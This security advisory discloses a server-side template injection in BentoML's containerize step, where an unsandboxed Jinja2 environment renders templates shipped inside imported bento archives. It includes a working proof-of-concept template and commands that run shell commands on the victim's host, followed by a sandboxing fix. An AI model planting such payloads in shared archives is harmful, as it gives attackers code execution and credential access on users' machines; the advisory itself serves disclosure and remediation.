CVE-2026-35044: BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation

Summary

The Dockerfile generation function generatecontainerfile() in src/bentoml/internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfiletemplate files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generatecontainerfile() function at src/bentoml/internal/container/generate.py:155-157:

python ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )

This creates an unsandboxed jinja2.Environment with two dangerous extensions: - jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions - jinja2.ext.debug — exposes internal template engine state

Attack path:

1. Attacker builds a bento with dockerfiletemplate set in bentofile.yaml. During bentoml build, DockerOptions.writetobento() (buildconfig.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:

python if self.dockerfiletemplate is not None: shutil.copy2( resolveuserfilepath(self.dockerfiletemplate, buildctx), dockerfolder / "Dockerfile.template", )

2. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

3. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

4. Victim containerizes with bentoml containerize. The constructcontainerfile() function (init.py:198-204) detects the template and sets the path:

python dockerattrs["dockerfiletemplate"] = "env/docker/Dockerfile.template"

5. generatecontainerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:

python usertemplates = docker.dockerfiletemplate if usertemplates is not None: dirpath = os.path.dirname(resolveuserfilepath(usertemplates, buildctx)) usertemplates = os.path.basename(usertemplates) TEMPLATESPATH.append(dirpath) environment = ENVIRONMENT.overlay( loader=FileSystemLoader(TEMPLATESPATH, followlinks=True) ) template = environment.gettemplate( usertemplates, globals={"bentobasetemplate": template, J2FUNCTION}, ) ... return template.render(...) # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.postcommands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

jinja2 {% extends bentobasetemplate %} {% block SETUPBENTOCOMPONENTS %} {{ super() }} {% do namespace.init.globals['builtins']'import'.system('id > /tmp/pwned') %} {% endblock %}

Step 2: Create bentofile.yaml referencing the template:

yaml service: 'service:MyService' docker: dockerfiletemplate: ./evil.j2

Step 3: Attacker builds and exports:

bash bentoml build bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bash bentoml import bento.tar bentoml containerize myservice:latest

Step 5: Verify host code execution:

bash cat /tmp/pwned Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

bash python3 -c " from jinja2 import Environment env = Environment(extensions=['jinja2.ext.do']) t = env.fromstring(\"{% do namespace.init.globals['builtins']'import'.system('echo SSTIWORKS') %}\") t.render() " Output: SSTIWORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens) - Ability to install backdoors or pivot to other systems - Access to environment variables containing secrets (API keys, database credentials) - Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because: 1. Users may reasonably expect bentoml containerize to be a safe build operation 2. The malicious template is embedded inside the bento archive and not visible without manual inspection 3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/internal/container/generate.py, change lines 155-157:

python Before (VULNERABLE): from jinja2 import Environment ... ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )

After (FIXED): from jinja2.sandbox import SandboxedEnvironment ... ENVIRONMENT = SandboxedEnvironment( extensions=["jinja2.ext.loopcontrols"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )

Additionally, review the second unsandboxed Environment in buildconfig.py:499-504 which also uses jinja2.ext.debug:

python buildconfig.py:499 - also fix: env = jinja2.sandbox.SandboxedEnvironment( variablestartstring="<<", variableendstring=">>", loader=jinja2.FileSystemLoader(os.path.dirname(file), followlinks=True), )